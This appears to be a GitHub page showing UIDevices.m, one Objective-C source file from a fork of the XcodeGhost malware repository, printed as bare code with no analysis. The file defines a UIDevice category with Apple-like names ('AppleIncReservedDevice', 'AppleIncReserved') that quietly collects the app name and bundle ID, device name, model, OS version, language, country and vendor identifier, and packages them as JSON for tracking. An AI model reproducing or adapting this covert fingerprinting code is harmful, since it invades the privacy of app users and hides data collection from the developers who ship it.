forked from XcodeGhostSource/XcodeGhost
-
Notifications
You must be signed in to change notification settings - Fork 0
/
UIDevices.m
67 lines (54 loc) · 2.25 KB
/
UIDevices.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#import "UIDevices.h"
#import <sys/utsname.h>
#include <ifaddrs.h>
#include <arpa/inet.h>
#include <net/if.h>
@implementation UIDevice(AppleIncReservedDevice)
+(NSString*)BundleID{
return [[NSBundle mainBundle] bundleIdentifier];
}
+(NSString*)Timestamp{
NSInteger timestamp = [[NSDate date] timeIntervalSince1970];
NSString *timeStamp=[NSString stringWithFormat:@"%ld",(long)timestamp];
return timeStamp;
}
+(NSString*)OSVersion{
NSString *systemVersion=[UIDevice currentDevice].systemVersion;
return systemVersion;
}
+(NSString*)DeviceType{
NSString *deviceType;
struct utsname systemInfo;
uname(&systemInfo);
deviceType = [NSString stringWithCString:systemInfo.machine
encoding:NSUTF8StringEncoding];
return deviceType;
}
+(NSString*)Language{
NSString *currentLanguage = [[NSLocale preferredLanguages] objectAtIndex:0];
return currentLanguage;
}
+(NSString*)CountryCode{
NSLocale *local = [NSLocale currentLocale];
return [local objectForKey: NSLocaleCountryCode];
}
+(NSData*)AppleIncReserved:(NSString*)tag{
NSString *bundleID=[[NSBundle mainBundle] bundleIdentifier];
NSString *app=[[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleName"];
NSString *timeStamp=[self Timestamp];
NSString *osversion=[self OSVersion];
NSString *devicetype=[self DeviceType];
NSString *language=[self Language];
NSString *name=[[UIDevice currentDevice] name];
NSString *countryCode=[self CountryCode];
NSString *idfv=[[[UIDevice currentDevice] identifierForVendor] UUIDString];
NSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleVersion"];
NSDictionary *dict=[NSDictionary dictionaryWithObjectsAndKeys:timeStamp,@"timestamp",app,@"app",bundleID,@"bundle",name,@"name",
osversion,@"os",devicetype,@"type",tag,@"status",version,@"version",language,@"language",countryCode,@"country",idfv,@"idfv",nil];
NSError *error;
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dict
options:NSJSONWritingPrettyPrinted
error:&error];
return jsonData;
}
@end